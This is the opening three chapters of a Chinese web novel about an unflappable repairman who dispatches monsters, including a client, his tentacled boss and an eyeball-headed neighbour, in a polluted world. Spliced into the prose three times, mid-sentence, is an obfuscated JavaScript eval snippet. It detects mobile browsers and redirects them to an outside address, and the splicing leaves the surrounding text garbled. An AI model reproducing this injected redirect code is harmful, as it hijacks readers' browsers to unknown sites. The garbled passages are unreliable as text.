《请不要欺负老实人》 1. 第 1 章 雷声轰隆而至。 远处的建筑在钢针般的雨中模糊不清,只有近处的别墅隐隐能看到轮廓。 别墅门口,一块形状扭曲的深色水渍,突兀嵌在干燥的木质地板上。 水渍沿着门缝蔓延而入。 湿漉漉的脚印沿着客厅延伸到走廊,在洗手间门口停下,和洗手间的光滑瓷砖融为一体。 洗手间里灯光明亮。 女人穿着黑色吊带睡衣靠在门口,姿势慵懒。 衣服里面鼓鼓囊囊,时不时动一动,不知道藏了什么。 “太太,真的不用穿鞋套吗?”一道清润的男声问。 “不用,我说过很多次了,干你的活儿。” 女人的声音有些奇怪,沙哑中透露着一些别的什么意味,细细听的话,像是夹杂着吞咽口水的声音。 她起身走了几步,靠近正在洗手池下面弯着腰忙碌的青年。 两人的距离拉近,她的表情变得极其享受,鼻孔翕动,仿佛在贪婪嗅闻着青年的气味。 “您的洗手池有好多头发。” 青年说着,没有起身,只是手里的动作不停。 在下水道扣弄几下,右手伸出,掏出了还沾着某些不知是什么红色组织的黑色长发。 黑色的发丝缠绕着青年戴着白色橡胶手套的纤长手指,蛇一样地嘶嘶吐着信子,贪婪地舔舐着他手套上的温度。 黑色、白色和红色交织,色彩鲜明,极具视觉冲击。 女人歪了歪脑袋,红唇上扬,眼眶边缘扭曲。 精致的眼线被撑开,细小的红色肉芽从皮肤里钻了出来。 她咯咯笑了两声,用手指掩唇:“我压力大,掉发比较严重。” 声音好像是外面的雨一样,湿漉漉、黏糊糊的。 她细长的手指软化、拉长,变为通体泛红的肉须。 “那您真应该换一份工作了。”青年语气真诚,仿若未觉。 他拇指中指一搓,那纠缠不休的黑发瞬间瘫软,掉落在地,化为了一滩毫无动静的黑色丝线。 女人皱起眉头。 突然感觉哪里怪怪的。 她打量着身穿黑色工服的青年。 从这个角度只能看见他挺拔的背影和一小截侧脸。 黑色工装服严丝合缝地裹着他宽肩窄腰的身形,银色皮带在腰间勒出一道利落的折线,随着青年的动作微微绷紧。 怎么看都是一个普通到不能再普通的维修工。 如果要说有什么问题的话,露出来的那半张脸,过于年轻帅气了。 女人的视线转到了维修工的裤装口袋。 那里,红色的东西露出了一角,像是个红包,但又比红包厚了不少。 “你口袋里面的是什么?” 心底那种奇怪的感觉促使她随意找了个话题。 但很可惜,她没有等到这个问题的答案。 青年背对着她:“您这个角阀有些老旧,刚刚我拆的时候碎掉了……” 女人没反应过来,随口问了句:“你说什么?” 她根本没想过修什么角阀,这只是骗这些维修工来的借口罢了。 骗来,吞掉,好吃。 她的捕猎计划成功了很多次,这次应该也不会出什么意外。 女人收敛思绪,再次朝着青年迈近一步。 “要换一个新的角阀……”青年声音不大。 他依然背对着她摆弄着水管,但身上属于人类的、若有若无的甜美气味愈发浓烈。 这味道侵袭了鼻腔,让她有些眩晕。 女人没有答话。 “我的意思是——得加钱。” 他终于起身,转过来看着女人,整张脸便完整暴露在灯光下。 头发因为刚刚淋了雨有些潮湿,发梢在青年额前弯起一个柔和的弧度。 他的眉毛舒展,浓淡适宜,既不过于张扬,也不显软弱。栗色的眼瞳在并不亮的灯光下通透澄澈,像雨水冲刷过的宝石。 青年好像不好意思要钱,可碍于公司的要求,不得不开这个口。因而咬字清晰,但不那么自然。 “加上手工费200元。”青年报了个还算实惠的价格。 女人一顿。 刚刚没注意到,现在她才发现,这人意外的年轻……而且好看。 “我们这是按规定收费,不存在乱要价的情况,否则您可以去工商局举报……” 青年以为她不愿意支付,开口解释道。 女人闻言愣住,继而恼羞成怒。 哪有饭都快做好了,还给食材钱的说法? 方才心中升起的淡淡违和感被食欲冲刷掉,女人笑了,嘴角越扬越高,发出纤维断裂般的声音,直到咧到耳后才停。 黑色睡衣鼓胀蠕动,发出令人牙酸的声音。 猩红肉芽刺破织物,如同雨后春笋般爆发。 这些肉须布满黏液,其上口器密密麻麻,尖锐的细密牙齿在其中若隐若现,探出细长的、舌状触须,疯狂扭曲。 陈恪后退了一步,盯着赖账的女人,似乎有些意外。 “看您的家庭条件应该不错……不想付钱,也不至于打人吧?” 女人盯着青年,涎水滴滴答答从口中流了出来。 即便此时,她已经注意到青年温和的眼瞳褪去暖意,也并不在意。 不过是个维修工而已,能翻什么风浪。 无数粉红色的肉须翻滚升腾,俯冲而下—— “轰隆——” 一声雷响,雨下得更大了。 空气中的潮湿的味道愈发浓郁起来,其中似乎混合着其他的什么味道。 夏天的雨潮热无比,就连呼吸时,湿热的气息也会顺着气道蔓延到整个肺部。 陈恪长舒口气,弯下腰,捡起掉在地上的红色小册子。 巴掌大小的手册上,整齐地印刷着几个烫金小字——《民法典》 青年纤长的手指抚过纸张,发现污渍已经渗了进去。原本那页字迹大部分都模糊不清,唯有一行依稀可辨: [当事人一方未支付价款、报酬……或者不履行其他金钱债务的,对方可以请求其支付……] “好可惜,又要买新的了。” 陈恪一脸遗憾,摘掉已经脏污的手套,又将手里的红色小册子扔进了垃圾桶。 垃圾桶里,一大团不明的红色生物正蠕动着,仿佛被剥了皮剁成段的蛇,半死不活,偶尔抽搐般地收缩一下。 红色小册子的到来成了催化剂,一部分残骸掉在册子的烫金封皮上,被气到似的抖了抖—— 而后没了动静。 打扫完洗手间,已经是下午四点。 陈恪拿出手机回了叮叮群消息,这才离开别墅。 临走时,他拿起了玄关处很久未曾用过的黑色雨伞。 “再见。” 紧了紧右肩的工具箱背带,青年拉开大门。 外面的雨势丝毫没有变小,然而扑面而来的清新空气,让陈恪糟糕的心情好了一点点。 他是一名维修工,就像这个世界其他平凡岗位上的人一样,每天兢兢业业,按时上下班打卡,偶尔买点书看看,有一点自己的小爱好。 如果顺利的话,这样的生活会一直持续下去。 但生活嘛,谁没碰到过意外呢? 况且还是在这样诡异的、被污染的、病态的世界。 像今天这样的情况,陈恪之前也遇见过,处理起来还算得心应手。 只是可惜了他这单的提成,毕竟有五十块呢。 铅灰色的天幕被银蛇撕开,冰冷的雨水倾泻而下,在路面砸起无数水花。 陈恪撑起伞,踏入雨中。 几秒后,他的裤脚就被狂乱的雨水打湿。 等在站台等公交时,陈恪再次拿出了手机。 叮叮群里又是老板一连串语音。 老板刚刚出差回来,看到公司这季度的财务报表,开始发疯了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172127|180731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [一切以结果为导向,没有开单就是没有开单,叫苦叫累有用吗?我发工资不是为了把你们当祖宗供起来的,业绩呢?这个月你们干了多少单?引流了几个客户?!] [摸鱼!混日子!动作比蜗牛还慢!脑子比榆木还笨!这点破事儿都干不明白,你们配拿这钱吗?!] [人事那边怎么回事,我说了多少次了,开源节流!开源节流!现在经济形势不好,外面乱成什么样不知道吗?你们去外面找工作多不容易?要不是我,你们能有工作?] …… 雨滴落在伞上的噼啪声也无法阻挡老板的语音,怒吼声和雨幕配合,显得愈发刺耳。 下面的陈恪没有再听。 家政公司一般签外包合同,哪里有活儿就会给派发,他的岗位本来也不需要坐班,但公司却硬性规定,必须上下班打卡。 员工们也曾哀声哉道,但都被老板用强硬的态度和工资威胁压了下来。 一批员工离职后,大家也都习惯了这个模式。 陈恪也习惯了。 ——他干活麻利,一般没什么需要加班的情况。 准备收起手机时,他突然察觉到一束目光。 陈恪手臂一动,抬起伞,露出那双栗色的眼。 依旧是阴沉沉的天空,街上没什么人,车子也不多,因而他一眼就看到了那辆黑色的轿车。 雨幕中,车牌看得并不清晰,但那道视线却强烈。 这束目光让他有些不舒服,冷漠的不像是在看活物,倒像是在看一件物品。 他看不到车里的人,但能察觉到视线的源头就在那里。 在他抬头瞬间,那道视线消失了,仿佛刚刚被打量的感觉只是陈恪的错觉。 陈恪并不会因为被看一眼就冲上去暴揍别人,况且看一眼又不违法。 他再次低下头,拿出手机看了眼公交实时情况。 两分钟后,公交到站,陈恪收起雨伞,刷了卡。 公交车上只有零星的几个人,以及一脸不耐烦的司机。 走向座位前,陈恪扭头看了眼远处。 黑色的轿车已经不在原地。 收回视线,找了座位坐下来,陈恪打开了手机里的小游戏。 公司离别墅区有些远,公交车摇了很久才到。 进公司的时候,陈恪随手将伞放在前台。 整个办公区笼罩在沉默中,大家都埋头做着自己的事情,几乎没什么动静。 走动间,空气有些凝滞,陈恪嗅到一股异味,有点像海鲜腐烂发酵的味道。 陈恪敲响了老板办公室的门。 “笃笃——” 办公室里面有说话的声音,沉闷到像是在水里一样。 隔着门透出的气流使得那股腥味骤然浓烈起来,混合着雨水的潮湿,形成一种令人眩晕的窒息感。 老板沿海出差一趟,怎么连带周围的空气都变得腥咸? 难道带回了什么特产? 这特产的味道属实一言难尽。 陈恪低头,指关节蹭了蹭发痒的鼻尖。 在门口等了一会,里面没反应,他又敲了三下。 老板混着口水般的含糊声音,在门后响起,似乎是个“进”字。 “章总——” 礼貌的话语在下一秒戛然而止。 打开门,比刚刚强烈无数倍的咸腥冷气扑面而来。 巨大的落地窗外是灰蒙蒙的城市天空,办公室的灯光发白,亮到地上的一根头发丝都可以看见。 ——包括老板高级西装领口里延伸出的两根黏腻的、泛着诡异光泽的触手。 老板背对着门口,梳理得一丝不苟的头发泛着油光。 左边那条紫到发黑的触手正卷着手机打着电话。另一根上面的口器则嗦着还在挥舞钳子的帝王蟹,发出“啵啵啵啵啵”的声音。 陈恪只愣了一瞬便明白过来。 ——原来老板出差带来的特产,是他自己啊。 2. 第 2 章 “谁?!” 老板突然转身,身后的两根触手“嗖”地缩回衣领里。 左手接住滑落的手机,右手接住吃剩的帝王蟹,动作熟练,像个杂技演员。 “进、门、要、敲、门。”他一字一顿地说,声带像是塞满了湿漉漉的海藻,沉闷黏滑。 陈恪盯着老板的衣领看了几秒,而后道:“我敲门了,是您说‘进’。” 老板脸上的笑容僵硬一瞬,摆摆手说:“是吗?估计是你听错了,有什么事等我打完电话再说。” 说完,老板再次拿起手机——这次是用手。 陈恪就站在办公桌前等待老板打完电话,那张嘴巴一开一合,原先的大黄牙消失不见,取而代之的是失去棱角的、苍白圆润的珍珠般的牙齿。 倒是省去整牙的费用了。 老板的声音在空旷的办公室内回荡。 鼻尖的腥咸味淡了一点,却转化成了一种更加令人不适的腐臭,就像是海鲜市场的垃圾回收车不停地在爆炸和回复之间来回横跳。 “对,那五个全给我优化了,一个月接不了几单在这给我逼逼赖赖,统统优化!赔偿金是什么?没听过。” “人不够用?不可能,现在三条腿的怪物难找,两条腿的人还不好找吗?你不要找理由,就找那些年轻力壮耐操、啊不,耐劳的……” “工资3500,多少年了咱们市都是这个价,还用我教你?” “社保?新陵市社保局前几年都被污染了,现在去哪交社保?那是我不想交吗,那真的是交不了!” …… 陈恪没有离开,就静静地在一旁等着老板打完电话,同时思绪已经飘向离职申请书。 依照老板的情况来看,这家公司估计不能久待了。 半小时后,老板挂掉了电话。 “小陈啊,是来提交工单的吗?” 刚刚电话让他心情似乎好了点,望向陈恪的眼神也柔和了些许。 作为公司的优秀员工兼王牌维修师,陈恪确实有这资本让老板客气对他。 思索片刻,他和老板解释了今天的情况,尤其强调对方不愿付钱,甚至胆敢对他动手的恶行。 “岂有此理!欺人太甚!” 老板脸上浮现深蓝色的斑块,游走扩散,形成大小不一的斑点:“简直奇耻大辱!” 腥味从他的身体上喷涌而出,令人窒息的感觉更加浓重了。 陈恪轻轻咳嗽了一声。 像是按下了一个开关,老板脸上的斑块蔓延停滞,继而迅速消退。 他看了一眼陈恪,发现对方垂着眼皮,仿佛正沉浸在自己的世界里,并没有注意到他身上异常,悄悄松了口气。 陈恪别的优点没有,就是老实。 他最喜欢陈恪这点,就像海里的盲虾,不该说的,不该问的,他从来视而不见。 事实上,老板也不确定陈恪有没有看到刚刚那一幕。 应该是没看到的吧?否则正常人无论如何也不该这么淡定。 老板用自认为还清醒的大脑思考着。 网上都说,被污染了就不可能变成人了,但他觉得他现在意识清晰,还能处理工作呢…… 碰到污染这种事情果然是小马过河,自己体验了才知道,那些专家懂什么…… 老板陷入思考中,空气安静,直到空旷的办公室响起清润的嗓音。 这道声音带着些许犹豫: “章总,关于我上个月的提成……” 老板扭头,身体趴上办公桌,仿佛某种软体动物一样。 “上个月的提成……” 他思考了十几秒,这才想到了什么,咧开嘴,“嗨呀,小陈,咱们公司都是一个季度结算一次提成的呀,你怎么忘了?” “上个月就是季度末了。” 陈恪的话老板就当耳旁风。 一个员工的不满算什么呢? 而且陈恪一直都那么听话,在公司从来不闹事,给他的任务总是能完成得又快又好。 空气中似乎漂浮着一缕香气,让老板思维又发散起来。 帝王蟹真好吃,牡蛎也很鲜甜,还想再吃…… 但陈恪散发出来的味道好像更香一些…… 老板的瞳孔渐渐变得尖细,视线直直盯上了陈恪,而在他没有意识到的时候,暴露在外的皮肤开始渗出了某种黏液,就像是—— 流出的口水。 “……我想离职。”陈恪深吸一口气。 仿佛一记闷雷,老板游离的思绪瞬间被拉回现实。 对公司的热爱让他被海藻塞满的大脑又开始运转起来。 “为什么?你的业绩是我们公司最好的,拿的钱虽然不多,但现在上哪找这么稳定的工作?” 陈恪松开了领口的扣子,长长呼了口气,就仿佛空气中有什么令他不适的东西。 “家里有事需要人照顾,没办法。” 不等陈恪把话说完,老板狐疑插嘴:“你们家不是只有你一个吗?” “……那就是身体原因。”陈恪捂着鼻子咳嗽了两声。 老板盯着他因为潮湿而贴在身上的工服,以及衣服下面隐隐透出的那层薄薄肌肉,不觉得他的身体出现了什么问题。 “你是我们公司的头……王牌,你要是突然走了,公司的这些活儿岂不是没人干了?” 他们这行死亡率不可谓不高,工资又不多,陈恪每个月能为老板省出来一大笔钱,老板舍不得放人。 “这样吧,我给你放假,你在家好好休息一下,下周一来报到。” 老板脸上的肌肉比之前看起来还要松垮,和陈恪说话的时候不受控制的痉挛,像某种海洋里面的软体动物。 陈恪勉强从那张脸上看到了安抚的意味。 他遇到的老板都是这副样子:整日pua员工,不愿意发钱还要员工把公司当家;嘴上说好好干能挣到钱,但提成总是压着不发;自己迟到早退没问题,员工迟到1分钟就罚;项目成功,功劳都是因为他,项目不顺利,那就找个背锅侠…… “况且,以你的学历和经验再找工作,估计还要一段时间吧?” 感觉陈恪有些动摇,老板话锋一转,有些肉痛道:“……给你批一周带薪假。” “谢谢老板。”干脆利落。 陈恪离开前,老板又叫住了他。 “等等!新陵市中心医院有个日常维护的活。不急,你上班之后抽空去一趟就行。” 老板没说提成,那就是没有提成。陈恪不太想接,面上便有些踌躇。 看出他的犹豫,老板怕陈恪撂挑子,便起身来到他身前,软了语气说: “他们那边设备都是最新的,你去了还能长长见识,图纸我给你,你肯定做得来。就当是帮我一个忙了,完了请你吃饭。实在不行,你那提成我让财务周一就转给你。” 见拒绝不了,陈恪只能应下。 ——就当为以后的跳槽积累经验了。 他点点头:“知道了。” 出办公室时,陈恪决定下班后去书店里买书。之前的那本被别墅里那位女士弄脏了,只能重新买一本。 他几乎是迫不及待地换上了自己的衣服,离开公司。 回家路上,天晴了,但太阳还没出来,雷阵雨之后的温度非常舒服,空气都清新了很多。 陈恪手臂夹着黑色的雨伞,在站台的最角落等着。 已经是下午六点,正是下班的高峰期,公交站台挤满了疲惫的面孔。 即便世界再破烂,生活再糟糕,人类也要为了生存而挣扎。 陈恪拿出手机低头玩小游戏,欢快的音效与旁边外放的新闻播报形成对比: 【本月污染事件较上月有小幅增加,主要集中区域为中卫市、天青市、崇光市等沿海城市,可能与上月S级污染事件【海上污染风暴】有关。 本台提醒,如果您的家人朋友有去过相关城市的,请尽快到最近的公立医院进行污染病检查,再次强调,如果您的家人朋友去过……】 公交车摇了半个小时,到达了目的地。 陈恪推门进店的时候,看到老板不在前台。 这家书店面积不大,但收拾得非常整洁干净,各个类目的书分门别类,一目了然。 他轻车熟路地走到法律专区,寻找起想要的册子。 “小陈又来啦?”老板头发花白,戴着老花镜,微微佝偻背,抱着一摞书从里面绕了出来。看到陈恪的时候还冲他眨了眨眼。 “我再买本册子。” “那你自己找,我记得剩了没几本,订的还在路上。” 老板侧过身,下巴点了点书架最下面的方向:“或者你看看下面那层还有没。” 现在这种类型的书几乎很难卖出去,他们书店的几乎都被陈恪包圆了,即便如此,青年的丢书频率还是让老板咋舌。 他打量着陈恪,穿着衬衣牛仔裤,身高腿长。 多帅气的小伙子,就是记性不太好,总是丢东西。 这家店不大,雨后空气的流通性不好,逼仄的空间满是旧纸的味道。 陈恪在狭窄的书架前蹲下,在一排排书架底层仔细翻找。 光线有点暗,他往里探了探身体。 就在这时,他听见身后传来极其轻微的脚步挪动声。几乎同时,感到后背被什么轻轻地、略带冰凉的东西触碰了一下。 陈恪下意识地直起身,向后侧退半步想腾开位置。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172128|180731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“抱歉!”陈恪条件反射般地开口,目光落在那双此刻正缓缓转过来的灰绿色眼睛上。 四目相对的刹那,空气仿佛凝滞了一瞬。 男人身材高大,比陈恪还要高多半个头,一身剪裁精绝、面料挺括的深灰色西装,显出窄劲有力的腰和利落的肩部线条。 陈恪笑了笑,移开视线:“不好意思挡到你了,你先过去吧。” 在他移开视线后,男人沉默着,目光在陈恪的脸上巡睃了许久,带着某种无形的压力,却奇异地没有任何侵略性。 时间仿佛凝固了几秒。 一个低沉却又无比清晰的声音响起:“没关系。” 说完,男人动作很轻地将手里那本旧书合上,重新插回原位。 陈恪点点头,准备转身继续找书的时,店主的话从身后响起。 “里头还有两本刑法的册子,你可以看看有没有用。” 店主从两人旁边狭窄的空隙里挤了过来,姿势有些别扭,但他本人仿佛察觉不到似的,行动毫无停滞。 他的目光不曾向男人所在的位置偏斜半寸,只隔着空气和陈恪说话。 ——就仿佛没看到那个男人似的。 “……先拿这个吧,册子什么时候还会有?”陈恪语气有些犹疑。 “不用担心,新册子已经在路上了,两三天吧,你到时候再来……我没想到你这本丢得这么快。” 陈恪:“行,那书到了您给我发消息。” 店长比了个“ok”的手势。 陈恪离开后,店长打算继续之前的工作,一转身,却差点碰到身后的男人。 “呦!吓我一跳!”店长的老花镜都歪了,他扶了扶眼镜,仰头看向男人,呵呵一笑:“谢医生,什么时候来的?” “你刚送他之前。” “刚刚确实没看到了你……不好意思,人老了眼神不好,今天想看什么书?”老板走进店里。 男人收回投向青年的视线,微微颔首,说道:“《知觉的陷阱》。” - 陈恪回家之前买了份炒河粉。 孜然与辣椒粉的辛香交织,在雨后的空气中格外鲜明。 拎着塑料袋,他小心避开地面上的积水。 下了公交,还要走很远一段路,但陈恪已经习惯了。 习惯要改的话很难,就像他已经习惯去家政公司上班一样。 不然老板挽留他的时候,他是不会留下来的。 周围没什么人,非常安静,只有食物的香气蔓延。 陈恪提着袋子走在路上,忍不住加快了步伐。 道路尽头,一栋深棕色墙皮的楼栋静静矗立在街尾,外面的墙面上面寄居着不少的藤蔓,延伸出的分枝像是攀在墙上的小人,遥望着远方。 一阵风吹过,藤蔓们齐齐晃动起来,贪婪地朝着炒河粉的方向簌簌乱舞。 陈恪住的小区叫睦安佳苑,虽然说是小区,但只有一栋楼,楼龄也有二十多年了。 据说市政规划这里要建地铁,当时几个开发商打得头破血流,瓜分了附近一公里的所有地皮。 谁知这栋楼的开发商刚盖好楼,突然爆发全球污染,几乎所有城市规划建设都化为泡影。 直到今天,周围还是一片没有封顶的烂尾楼,有的甚至只是个地基。 陈恪选择这里的原因很简单——便宜。 虽然因为审美和楼龄问题有些老旧,但住进来才发现,楼里不仅没有多少住户,而且设施十分完善,冬暖夏凉,24小时热水和天然气不停。 陈恪入住了快半年,甚至都没交过电费,因为无论他怎么用电都不会停。 而且这里的安保相当好,除了有门禁卡的业主租户,其他人根本进不来。 刷了门禁,走到电梯口时,他遇到了同样等电梯的年轻人。 楼道昏黄的灯光下,一眼能看到他的模样。 看起来也就刚成年,穿着一身基础款白色衬衫和卡其色中裤,露出截过分苍白的小腿。 他的头发像是好几天没打理,有些凌乱,但五官轮廓能看出保养良好。只是眼神有些空洞,看起来经历了什么打击,精神状态不怎么好。 眼下深深地黑眼圈也说明了这一点。 不是这栋楼的住户,但进来了。 陈恪眉头一动。 那少年看向陈恪,眼神一亮:“我是刚搬来的1304的新住户,我叫元博文。” 他伸出手,扬起灿烂的笑容,“看来你也是这栋楼里的,很开心和你做邻居!” 陈恪望向他伸出的手,没有握上去。 “和我做邻居不会开心的。” “你还是搬走吧。” 元博文:“……?” 3. 第 3 章 元博文愣住了。 炒河粉的香气在两人之间飘荡,一时间空气有些安静。 这时,对面青年仿佛刚刚反应过来,带着歉意解释道:“不好意思,不是针对你,我的意思是,普通人不适合在这栋楼里面住。” 元博文听到这句,脑子里闪过一句台词: 不要误会,不是针对你,我是说在座的各位都是垃圾! 他晃了晃脑袋,将这个想法从脑海里赶出去。 刚刚青年的语气里没有嫌恶,反而十分真诚。 元博文有些迟疑道:“那你的意思……你不是普通人?” 陈恪投来奇怪的眼神:“我当然是个普通人。” 简单的衬衫牛仔裤,手里拎着刚买的晚餐,看起来确实就是个普通上班族。 他肯定不是污染物——污染物的食谱上没有炒河粉。 “吓我一跳,我还以为……既然大家都是普通人,那有什么区别?”元博文松了口气。 既然都是普通人,没道理你能住我不能住,而且看起来他已经住了挺久的,完全没有被污染的情况,说明这里应该挺安全的。 虽然穿着朴素,但长着这样一张脸,说的话应该也不是骗人的话。 元博文用力按下电梯按键,发出沉闷的“咔嗒”声,旁边电梯的数字艰难地跳动了一下。 整个楼道墙壁上挂满陈年老垢,黑红相间,夹杂着棕褐色的锈迹,血管一样在墙面上蔓延。 昏暗的灯光照射下,看起来像是恐怖游戏里面的场景。 “我觉得这栋楼挺好的。”元博文嘴角扬起笑容,露出八颗整齐的牙齿。 不是老板那种珍珠般圆润的假牙,而是真实的、带着些许虎牙的少年笑容。 陈恪的视线越过元博文,落在沾满黑褐色污渍的地面,深沉的阴影里面似乎有东西在蠕动,但细细看去的时候,又仿佛是错觉。 “你怎么想搬来这里?”陈恪的声音在空荡的楼道里显得格外清晰。 说话间,电梯到了,门上锈蚀的痕迹明显,隐隐能够看到底部已经被蚀出几个孔洞。 电梯门缓缓打开,里面一片昏暗,过了两秒,里面灯闪了两下,这才亮了起来。 元博文侧过头,对陈恪露出一个苦笑:“我无家可归了,这里的房租已经是我能找到的最便宜的,不然只能睡马路,现在的天气,我都担心活不过第二天。” 陈恪跟上他的脚步,迈进电梯,转身,按下14楼的楼层按键,电梯门缓缓合上,隔绝了外面黑褐色的污渍。 …… 陈恪不想让元博文入住,但他无法以一个“租客”的身份赶走他。 而如果说实话的话…… 估计这栋楼第二天就会被查封,陈恪就会露宿街头了。 好像有点麻烦。 陈恪露出礼貌的微笑,叮嘱道:“如果住在这里有问题,可以来1404找我。” “原来你住在1404,那岂不是就是我的楼上?”元博文眼睛弯了弯,他笑起来的时候,眼睛像是月牙一样,很有特点:“好嘞哥!谢谢你!” 似乎陈恪的态度转变鼓励到了他,短短几分钟,元博文仿佛一只叽叽喳喳的鸟,一直啾啾啾啾,围绕陈恪叫个不停。 基本都是元博文在问,陈恪在回答。 “陈哥你人真好!”走出电梯时,元博文感叹一句。 陈恪笑了笑,不置可否。 元博文的运气其实不错,被赶出门还能找到这么便宜的房子,而且还有帅气性格又好的邻居。 想到这里,元博文的笑容淡了一些,眉宇之间添了一丝忧郁。 “算了算了,不想那么多!” 元博文拍了拍脸,从裤兜掏出了钥匙。 锁芯外围的金属环已经松脱,随着他的动作不停旋转,半天插不进去。 奇怪的是,新陵市属于北方,而在北方,即便是荒废的楼一般也不会有这么严重的锈迹。 元博文只能归结于这里的地理位置不好,加上没有物业维护。 正在他再次尝试将钥匙插入锁孔时,楼道的声控灯突然熄灭。 一股刺骨的寒意顺着脊椎爬上来,元博文猛然扭头。 身后是一片黑暗。 窸窸…窣窣… 像是无数细足爬过地板,又像是潮湿的发丝在耳道里蠕动。那声音越来越近,越来越清晰,最后化作无数细碎的耳语。 元博文手一抖,钥匙咔嚓一声捅进了锁芯。 他疯狂转动锁芯时,那道窃窃私语的声音更明显了,现在清楚了一些—— 好像是某种生物说话的声音,或许不止一只。 好像有人在讨论他的穿搭,猜测他的身份,点评他的长相,这些声音汇集在一处,缠绕着听觉神经,撕扯着他的意识…… 这东西靠得更近了,就贴着他的耳廓! 元博文紧闭双眼,猛地撞开房门,整个人重重摔进了屋内。 世界突然安静。 眼前是亮起的屋子。 元博文瘫坐在地上,大口喘着气。眼前豁然开朗的客厅笼罩在温暖的灯光里,暖黄的壁灯将恐惧一点点融化。 他颤抖着回头—— 楼道的声控灯亮起,外面什么也没有。 - 电梯缓缓上升,缆绳发出了“吱呀”声。 对于元博文来说,这栋楼藏着未知的恐惧,但对陈恪而言—— 不过是日常罢了。 “叮”的一声,电梯停了。 陈恪的目光落在缓缓开启的电梯门缝间。 一对硕大的眼球正堵在门口。 猩红血丝密布在浑浊的晶状体上,破裂的毛细血管海葵一样,随着脉搏蠕动。 转动时,黏稠的液体从眼球边缘渗出,发出“咕啾咕啾”的声音。 这湿滑的大眼珠子,一看就不用滴眼药水。 如果是元博文,这会估计要被吓晕过去,但陈恪伸手,对着眼珠子打了个招呼,甚至还露出了一个礼貌的微笑。 “刘阿婆,您又来遛弯啊?” 声音里没有丝毫畏惧,只有对孤寡老人的满满关心。 眼球猛地一颤,瞳孔骤然缩成针尖大小。它灵活地转动,在电梯间里搜寻了一圈,最后死死盯住陈恪。 陈恪笑了笑,栗色的瞳孔里却没多少笑意:“您看什么呢?” 一人一眼珠子之间对视,时间一分一秒过去。 最后,还是眼珠子先动了起来。 “啵”的一声轻响,巨大的眼球如泄气般萎缩,最后缩回眼眶。 站在电梯口的是一位佝偻着背的老太太。她身上的紫红色开衫沾着可疑的黏液,布满皱纹的脸上,眼睛凸出,正不安地转动着,像青蛙的眼睛。 “啊,是小陈啊。”一道苍老的声音响起,语气有些犹疑:“刚下班回来?” “我以为您什么都能看到呢。”陈恪似笑非笑地说。 老太太冷哼一声,眼球又开始转动,嘴巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172129|180731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开合间,一条粗壮的舌头若隐若现。 “这话说得不错,咱们小区明天停水,你做好水源储备!” “你知道吗?你隔壁那个张余,昨晚快三点才做完工作,嘴里骂骂咧咧的,说的全是他们老板的坏话哩!说不定什么时候就说你的坏话了。” “最近咱们楼道这么脏,是不是因为他乱丢垃圾?这种上班族最喜欢点外卖了,年纪轻轻熬大夜,工作压力有那么大吗?活得好像大老鼠一样,畏畏缩缩的……” “这么大年纪也不知道找个对象。对了,我听说公园相亲角有很多人的条件很不错。”刘阿婆突然话锋一转,布满皱纹的手一把抓住陈恪:“你结婚了吗?找对象眼光要擦亮……” 她絮絮叨叨说了一大堆,并不等待陈恪的回应,而像是某种仪式般,说完自己想说的以后,迅速松开陈恪的手,就要缩回电梯里。 “刘阿婆,咱们楼里搬来了新邻居,大家要和谐相处。” 陈恪向前迈了一步,搀扶住刘阿婆,顺手拍掉她衣服上的粘上污渍。 刘阿婆的眼球诡异地转了一圈,嘴角咧出个笑容:“知道,知道,我都看见了,我刚还跟他说了呢,大家都是邻居,年轻人好啊,我喜欢和年轻人在一起……” 陈恪松手,刘阿婆便立刻缩回电梯里。 随着“叮”的一声,电梯门缓缓关闭。 陈恪拿出钥匙准备开门。 加上元博文,睦安佳苑一整栋楼目前只有四户入住。 除了陈恪和刚刚见到的刘阿婆以外,还有一个是陈恪的邻居,住在1402。 陈恪侧身,余光瞥见对面的房门开了个口子,半透明的影子一闪而过。 很快,1402的门便“咔嗒”一声,关上了。 - 半夜十一点半。 元博文洗完澡,盘腿坐在沙发上吃老坛酸菜牛肉面,浓浓香气在空气中升腾蒸发,勾的人直流口水。 [陈哥,你在干嘛?] 手机屏幕在黑暗中亮起又熄灭。没有回复。元博文有些焦虑地啃咬着塑料叉子。 暖黄色的窗帘在夜风中轻轻摆动,房间里飘散着新家具的木质香气。 一切都干净得过分,与楼道里那些陈旧发黑的污渍、细碎的呓语形成诡异反差。 “难道刚刚的是幻觉?” 元博文忍不住打了个冷战。 一想到刚刚仿佛耳蜗都被掏出来舔舐的感觉,他顿时没了胃口。 这几天真的太累了,元博文刷牙之后,很快进入睡梦中。 就在他呼吸平稳后,某些变化悄无声息地发生了。 